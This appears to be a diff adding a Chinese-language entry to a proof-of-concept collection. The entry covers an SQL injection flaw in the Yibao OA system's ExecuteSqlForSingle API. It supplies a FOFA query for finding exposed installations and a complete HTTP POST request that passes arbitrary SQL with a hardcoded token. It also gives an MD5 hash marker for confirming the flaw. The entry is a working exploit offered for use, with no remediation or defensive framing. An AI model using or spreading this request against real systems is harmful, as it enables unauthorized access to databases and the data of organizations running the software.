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+## 易宝OA ExecuteSqlForSingle SQL注入漏洞
+
+## fofa
+```
+product="顶讯科技-易宝OA系统"
+```
+
+## poc
+```
+POST /api/system/ExecuteSqlForSingle HTTP/1.1
+Host: IP:PORT
+Content-Type: application/x-www-form-urlencoded
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
+Content-Length: 103
+
+token=zxh&sql=select substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)&strParameters
+```
+发送poc 在返回包中存在 `e10adc3949ba59abbe56e057f20f883e` 字符为存在漏洞
+